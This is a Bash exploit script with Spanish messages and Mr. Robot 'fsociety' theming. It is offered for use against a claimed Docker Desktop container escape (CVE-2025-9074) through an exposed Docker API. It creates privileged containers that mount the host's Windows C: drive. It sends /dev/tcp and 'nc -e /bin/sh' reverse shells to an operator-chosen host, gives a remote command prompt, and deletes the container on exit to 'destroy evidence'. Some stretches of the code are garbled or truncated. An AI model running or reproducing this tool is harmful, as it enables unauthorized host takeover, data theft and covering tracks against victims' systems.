#!/bin/bash #################################################################### ## FSOCIETY-CVE-2025-9074 v4.4 (BASH) ## ## CREADO POR: C0deGhost & The Architect (Final Polish) ## ## "Clean Exit & Full Verbose Parity." ## ## WE ARE FSOCIETY_ ## #################################################################### # ---[ PALETA DE COLORES FSOCIETY ]--- C_RESET='\033[0m' C_RED='\033[1;31m' C_GREEN='\033[1;32m' C_YELLOW='\033[1;33m' C_BLUE='\033[1;34m' C_MAGENTA='\033[1;35m' C_CYAN='\033[1;36m' C_WHITE='\033[1;97m' C_GRAY='\033[0;90m' C_BOLD='\033[1m' C_CRITICAL='\033[41;37;1m' # ---[ CONFIGURACIÓN DE IMÁGENES ]--- IMAGE_CLASSIC="docker_setup-nginx-php:latest" IMAGE_ALPINE="alpine:latest" # ---[ BANNER Y PRESENTACIÓN (v4.4) ]--- function print_banner() { # La F en rojo, SOCIETY en blanco echo -e "${C_RED}███████╗${C_WHITE}███████╗ ██████╗ ██████╗██╗███████╗████████╗██╗ ██╗" echo -e "${C_RED}██╔════╝${C_WHITE}██╔════╝██╔═══██╗██╔════╝██║██╔════╝╚══██╔══╝╚██╗ ██╔╝" echo -e "${C_RED}█████╗ ${C_WHITE}███████╗██║ ██║██║ ██║█████╗ ██║ ╚████╔╝" echo -e "${C_RED}██╔══╝ ${C_WHITE}╚════██║██║ ██║██║ ██║██╔══╝ ██║ ╚██╔╝" echo -e "${C_RED}██║ ${C_WHITE}███████║╚██████╔╝╚██████╗██║███████╗ ██║ ██║" echo -e "${C_RED}╚═╝ ${C_WHITE}╚══════╝ ╚═════╝ ╚═════╝╚═╝╚══════╝ ╚═╝ ╚═╝" echo "" echo -e "${C_CYAN}VERSION 4.4 (Final Polish) ${C_GRAY}|| ${C_BLUE}Creator C0deGhost ${C_GRAY}|| ${C_RED}Critical Docker Desktop Container Escape${C_RESET}" echo -e "${C_YELLOW}----------------------------------------------------------------------${C_RESET}" echo -e "${C_RED} ${C_GRAY}Dale un Arma un Hombre y Robara un Banco," echo -e "${C_GRAY}Pero dale Conocimiento aun hombre y robara el mundo${C_RESET}" echo -e "${C_YELLOW}----------------------------------------------------------------------${C_RESET}" echo "" } # ---[ BANNER DE DESPEDIDA (v4.4 - CLEAN EXIT FIX) ]--- function print_goodbye() { clear # LIMPIEZA DE PANTALLA SOLICITADA echo -e "\n${C_GRAY} ▄████ ▒█████ ▒█████ ▓█████▄ ▄▄▄▄ ▓██ ██▓▓█████ " echo -e " ██▒ ▀█▒▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌▓█████▄▒██ ██▒▓█ ▀ " echo -e "▒██░▄▄▄░▒██░ ██▒▒██░ ██▒░██ █▌▒██▒ ▄██▒██ ██░▒███ " echo -e "░▓█ ██▓▒██ ██░▒██ ██░░▓█▄ ▌▒██░█▀ ░ ▐██▓░▒▓█ ▄ " echo -e "░▒▓███▀▒░ ████▓▒░░ ████▓▒░░▒████▓ ░▓█ ▀█▓░ ██▒▓░░▒████▒" echo -e " ░▒ ▒ ░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒ ░▒▓███▀▒ ██▒▒▒ ░░ ▒░ ░" echo -e " ░ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒ ▒░▒ ░▓██ ░▒░ ░ ░ ░" echo -e "░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░ ░ ░▒ ▒ ░░ ░ " echo -e " ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░${C_RESET}" echo -e "\n${C_GREEN}Mr. Robot>${C_RED} Our Democracy has been hacked_${C_RESET}" echo -e "${C_GREEN}Elliot>${C_RED} Good... Bye Friend_${C_RESET}" } # ---[ MOTOR DE ANIMACIONES CINEMATOGRÁFICAS (v4.4) ]--- function initial_loader() { clear print_banner echo -e "${C_CYAN}[*] INICIANDO FSOCIETY ENVIRONMENT...${C_RESET}" local statuses=("CARGANDO MÓDULOS DEL KERNEL" "INICIALIZANDO PROTOCOLOS DE EVASIÓN" "COMPILANDO EXPLOIT EN MEMORIA" "ESTABLECIENDO CONEXIÓN SEGURA") for i in {1..100}; do bar=$(for ((j=0; j${C_RESET} Operador, El exploit está listo para ejecutarse, ¿Deseas continuar? [Y/N]: ")" confirm if [[ "$confirm" != "Y" && "$confirm" != "y" ]]; then echo -e "${C_RED}[!] Misión abortada por el operador.${C_RESET}"; exit 0 fi while true; do read -p "$(echo -e ${C_RED}"${C_RESET} Estás en modo de escucha en [${C_YELLOW}${LHOST}:${LPORT}${C_RESET}], por favor confirma: [Y/N]: ")" listen_confirm if [[ "$listen_confirm" == "Y" || "$listen_confirm" == "y" ]]; then break; fi done while true; do PAYLOAD_FILE="/tmp/fsociety_payload_$$.json" PAYLOAD=$(cat <& /dev/tcp/${LHOST}/${LPORT} 0>&1"], "HostConfig": { "Binds": ["/run/desktop/mnt/host/c/:/mnt/windows"], "Privileged": true, "Dns": ["8.8.8.8", "1.1.1.1"], "NetworkMode": "bridge" } } EOF ) echo "$PAYLOAD" > "$PAYLOAD_FILE" cinematic_exploit_phase "FASE 1: PREPARACIÓN DE PAYLOAD" 5 print_verbose_block "Generando Archivo JSON Malicioso" "$PAYLOAD" "INFO" CREATE_CMD="curl -s -X POST -H \"Content-Type: application/json\" --data @${PAYLOAD_FILE} http://${DOCKER_IP}:${DOCKER_PORT}/containers/create" RESPONSE_JSON=$(eval "$CREATE_CMD") CONTAINER_ID=$(echo "$RESPONSE_JSON" | grep -o '"Id":"[^"]*' | cut -d'"' -f4) cinematic_exploit_phase "FASE 2: CREANDO CONTENEDOR TROYANO" 5 print_verbose_block "Ejecutando Inyección en API" "$CREATE_CMD" "CMD" print_verbose_block "Análisis de Respuesta" "$RESPONSE_JSON" "SERVER" if [[ -z "$CONTAINER_ID" ]]; then echo -e "${C_RED}[!] ERROR: No se pudo crear el contenedor. ¿Existe la imagen '${IMAGE_CLASSIC}' en el target?${C_RESET}" rm "$PAYLOAD_FILE"; return 1 else print_verbose_block "ID Obtenido" "${CONTAINER_ID:0:12}" "SUCCESS" fi START_CMD="curl -s -X POST http://${DOCKER_IP}:${DOCKER_PORT}/containers/${CONTAINER_ID}/start" (eval "$START_CMD" &) cinematic_exploit_phase "FASE 3: INICIANDO CONTENEDOR [ID: ${CONTAINER_ID:0:12}...]" 5 print_verbose_block "Triggering Payload Execution" "$START_CMD" "CMD" cinematic_exploit_phase "FASE 4: ENVIANDO REVERSE SHELL" 5 print_verbose_block "Estado de Conexión" "Socket abierto hacia ${LHOST}:${LPORT}. Esperando callback..." "INFO" clear print_banner echo -e "${C_GREEN}[+] Payload enviado. La shell debería llegar a tu listener en cualquier momento.${C_RESET}" rm "$PAYLOAD_FILE" read -p "$(echo -e ${C_RED}"${C_RESET} Operador, ¿has recibido una Shell? [Y/N]: ")" shell_received if [[ "$shell_received" == "Y" || "$shell_received" == "y" ]]; then echo -e "${C_GREEN}[+] ¡Misión cumplida! Desconectando del sistema...${C_RESET}"; break else read -p "$(echo -e ${C_YELLOW}"[!] Negativo. ¿Re-enviar payload? [Y/N]: "${C_RESET})" resend if [[ "$resend" == "Y" || "$resend" == "y" ]]; then echo -e "${C_RED}${C_RESET} Recibido... Re-enviando la Shell..." else echo -e "${C_YELLOW}[*] El operador ha cancelado el re-envío. La shell puede estar corriendo en segundo plano.${C_RESET}"; break fi fi done } # ---[ MÓDULO 2: INTERACTIVE SHELL (VERBOSE FIXED) ]--- function mode_interactive_shell() { echo -e "${C_YELLOW}----------------------------------------------------------------------${C_RESET}" read -p "$(echo -e ${C_CYAN}"[?] ¿Activar modo Verbose? [Y/N]: "${C_RESET})" VERBOSE_MODE echo -e "${C_YELLOW}----------------------------------------------------------------------${C_RESET}" PAYLOAD_FILE="/tmp/fsociety_interactive_$$.json" PAYLOAD=$(cat < "$PAYLOAD_FILE" # [FIX] FASE 1 - VERBOSE IMPLEMENTADO cinematic_exploit_phase "FASE 1: PREPARACIÓN DE PAYLOAD" 5 print_verbose_block "Payload Alpine Persistente" "$PAYLOAD" "INFO" CREATE_CMD="curl -s -X POST -H \"Content-Type: application/json\" --data @${PAYLOAD_FILE} http://${DOCKER_IP}:${DOCKER_PORT}/containers/create" RESPONSE_JSON=$(eval "$CREATE_CMD") CONTAINER_ID=$(echo "$RESPONSE_JSON" | grep -o '"Id":"[^"]*' | cut -d'"' -f4) rm "$PAYLOAD_FILE" # [FIX] FASE 2 - VERBOSE IMPLEMENTADO cinematic_exploit_phase "FASE 2: CREANDO CONTENEDOR SIGILOSO" 5 print_verbose_block "Petición de Creación" "$CREATE_CMD" "CMD" print_verbose_block "Respuesta del Demonio Docker" "$RESPONSE_JSON" "SERVER" if [[ -z "$CONTAINER_ID" ]]; then echo -e "${C_RED}[!] Error creando contenedor base. Verifica que '${IMAGE_ALPINE}' exista.${C_RESET}" return 1 else print_verbose_block "Contenedor Asegurado" "${CONTAINER_ID:0:12}" "SUCCESS" fi # Iniciar el contenedor START_CMD="curl -s -X POST http://${DOCKER_IP}:${DOCKER_PORT}/containers/${CONTAINER_ID}/start" (eval "$START_CMD" &) # [FIX] FASE 3 - VERBOSE IMPLEMENTADO cinematic_exploit_phase "FASE 3: ACTIVANDO CONTENEDOR" 5 print_verbose_block "Iniciando proceso fantasma" "$START_CMD" "CMD" clear print_banner SHORT_ID=${CONTAINER_ID:0:12} echo -e "${C_GREEN}[+] Contenedor Interactivo Activo: ${C_WHITE}$SHORT_ID${C_RESET}" echo -e "${C_GREEN}[+] Conectividad: ${C_WHITE}Internet Habilitado (DNS 8.8.8.8)${C_RESET}" echo -e "${C_YELLOW}[!] Escribe 'exit' para destruir el contenedor y salir.${C_RESET}" echo -e "${C_YELLOW}[!] Escribe 'info' para ver el Dashboard del Contenedor.${C_RESET}" echo -e "${C_YELLOW}[!] Escribe 'revshell ' para disparar una shell desde Alpine.${C_RESET}" # Bucle de Shell Interactiva while true; do read -p "$(echo -e ${C_RED}" "${C_RESET})" CMD if [[ "$CMD" == "exit" ]]; then echo -e "${C_YELLOW}[*] Destruyendo evidencia...${C_RESET}" curl -s -X POST "http://${DOCKER_IP}:${DOCKER_PORT}/containers/${CONTAINER_ID}/kill" > /dev/null curl -s -X DELETE "http://${DOCKER_IP}:${DOCKER_PORT}/containers/${CONTAINER_ID}" > /dev/null break fi if [[ "$CMD" == revshell* ]]; then read -r _ R_IP R_PORT <<< "$CMD" if [[ -z "$R_IP" || -z "$R_PORT" ]]; then echo -e "${C_RED}[!] Uso incorrecto. Sintaxis: revshell ${C_RESET}" continue fi echo -e "${C_YELLOW}[*] Disparando Netcat Reverse Shell a ${R_IP}:${R_PORT}...${C_RESET}" REV_PAYLOAD="{\"AttachStdout\": false, \"AttachStderr\": false, \"Tty\": false, \"Cmd\": [\"/bin/sh\", \"-c\", \"nc ${R_IP} ${R_PORT} -e /bin/sh\"]}" REV_EXEC_RESP=$(curl -s -X POST -H "Content-Type: application/json" --data "$REV_PAYLOAD" "http://${DOCKER_IP}:${DOCKER_PORT}/containers/${CONTAINER_ID}/exec") REV_EXEC_ID=$(echo "$REV_EXEC_RESP" | grep -o '"Id":"[^"]*' | cut -d'"' -f4) if [[ -n "$REV_EXEC_ID" ]]; then curl -s -X POST -H "Content-Type: application/json" --data '{"Detach": true, "Tty": false}' "http://${DOCKER_IP}:${DOCKER_PORT}/exec/${REV_EXEC_ID}/start" > /dev/null echo -e "${C_GREEN}[+] Shell enviada en segundo plano. Revisa tu listener.${C_RESET}" else echo -e "${C_RED}[!] Fallo al crear la instancia de reverse shell.${C_RESET}" fi continue fi if [[ "$CMD" == "info" ]]; then echo -e "${C_GREEN}┌──(Container Intelligence Dashboard)${C_RESET}" RAW_JSON=$(curl -s -X GET "http://${DOCKER_IP}:${DOCKER_PORT}/containers/${CONTAINER_ID}/json") ID_VAL=$(echo "$RAW_JSON" | grep -o '"Id":"[^"]*"' | head -n1 | cut -d'"' -f4) IMG_VAL=$(echo "$RAW_JSON" | grep -o '"Image":"[^"]*"' | cut -d'"' -f4 | grep -v "sha256" | head -n1) if [[ -z "$IMG_VAL" ]]; then IMG_VAL=$(echo "$RAW_JSON" | grep -o '"Config":{.*"Image":"[^"]*"' | sed 's/.*"Image":"\([^"]*\)".*/\1/') fi STATUS_VAL=$(echo "$RAW_JSON" | grep -o '"Status":"[^"]*"' | head -n1 | cut -d'"' -f4) IP_VAL=$(echo "$RAW_JSON" | grep -o '"IPAddress":"[^"]*"' | head -n1 | cut -d'"' -f4) IS_PRIV=$(echo "$RAW_JSON" | grep -o '"Privileged":true') if [[ -n "$IS_PRIV" ]]; then PRIV_VAL="${C_CRITICAL} TRUE (CRITICAL) ${C_RESET}" else PRIV_VAL="${C_GREEN}FALSE${C_RESET}" fi echo -e "${C_CYAN} [*] ID Full :${C_RESET} ${ID_VAL}" echo -e "${C_CYAN} [*] Image :${C_RESET} ${IMG_VAL}" echo -e "${C_CYAN} [*] Status :${C_RESET} ${STATUS_VAL}" echo -e "${C_CYAN} [*] IP Address :${C_RESET} ${IP_VAL}" echo -e "${C_CYAN} [*] Privileged :${C_RESET} ${PRIV_VAL}" echo -e "\n${C_RED} [!] MOUNT POINTS (ESCAPE VECTORS):${C_RESET}" MOUNTS=$(echo "$RAW_JSON" | grep -o '"Source":"[^"]*","Destination":"[^"]*"' | sed 's/"Source":"//g' | sed 's/","Destination":"/ --> /g' | sed 's/"//g') if [[ -z "$MOUNTS" ]]; then echo -e " ${C_GRAY}No mounts detected.${C_RESET}" else while IFS= read -r line; do echo -e " ${C_YELLOW}[+] $line${C_RESET}" done <<< "$MOUNTS" fi echo -e "${C_GREEN}└────────────────────────────────────${C_RESET}" continue fi if [[ -z "$CMD" ]]; then continue; fi SAFE_CMD=$(echo "$CMD" | sed 's/"/\\"/g') EXEC_PAYLOAD="{\"AttachStdout\": true, \"AttachStderr\": true, \"Tty\": false, \"Cmd\": [\"/bin/sh\", \"-c\", \"$SAFE_CMD\"]}" EXEC_RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" --data "$EXEC_PAYLOAD" "http://${DOCKER_IP}:${DOCKER_PORT}/containers/${CONTAINER_ID}/exec") EXEC_ID=$(echo "$EXEC_RESPONSE" | grep -o '"Id":"[^"]*' | cut -d'"' -f4) if [[ -n "$EXEC_ID" ]]; then echo -e "${C_GREEN}┌──(Output)${C_RESET}" curl -s -X POST -H "Content-Type: application/json" --data '{"Detach": false, "Tty": false}' "http://${DOCKER_IP}:${DOCKER_PORT}/exec/${EXEC_ID}/start" | tr -d '\000-\011\013-\037' echo -e "\n${C_GREEN}└──────────────────────${C_RESET}" else echo -e "${C_RED}[!] Error al crear instancia de ejecución.${C_RESET}" fi done } # ---[ MOTOR PRINCIPAL ]--- function main() { initial_loader echo -e "${C_MAGENTA}============ [ CONFIGURACIÓN DEL ASALTO ] ============${C_RESET}" read -p "$(echo -e ${C_CYAN}"[?] IP del Host Docker [def: 192.168.65.7]: "${C_RESET})" DOCKER_IP DOCKER_IP=${DOCKER_IP:-192.168.65.7} read -p "$(echo -e ${C_CYAN}"[?] Puerto de la API Docker [def: 2375]: "${C_RESET})" DOCKER_PORT DOCKER_PORT=${DOCKER_PORT:-2375} echo -e "${C_GRAY}[*] Verificando conectividad con el objetivo...${C_RESET}" HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" http://${DOCKER_IP}:${DOCKER_PORT}/version) if [[ "$HTTP_CODE" != "200" ]]; then echo -e "${C_RED}[!] NO SE PUEDE CONECTAR AL OBJETIVO (${DOCKER_IP}:${DOCKER_PORT}). Abortando.${C_RESET}" exit 1 else echo -e "${C_GREEN}[✓] Objetivo Online. API Docker expuesta detectada.${C_RESET}" fi echo -e "\n${C_MAGENTA}============ [ SELECCIÓN DE VECTOR ] ============${C_RESET}" echo -e "${C_WHITE}[1]${C_RESET} ${C_YELLOW}Reverse Shell${C_RESET} (Clásico, Payload Pesado + Privilegios + Internet)" echo -e "${C_WHITE}[2]${C_RESET} ${C_YELLOW}Interactive Shell${C_RESET} (Alpine, Ligero + 'revshell' + Internet)" echo -e "=================================================" read -p "$(echo -e ${C_RED}"${C_RESET} Selecciona opción [1/2]: ")" OPTION case $OPTION in 1) mode_reverse_shell ;; 2) mode_interactive_shell ;; *) echo -e "${C_RED}[!] Opción inválida.${C_RESET}" exit 1 ;; esac } # ---[ PUNTO DE ENTRADA ]--- main print_goodbye # Hello.. Friend. # I See, Looking Code.. # Good... Welcome. # Please.. Leave the .dat file, In the system, a hint from Fsociety: "fsociety00.dat" # Good Bye.. # Dominate All Ecosystem. - Mr. Robot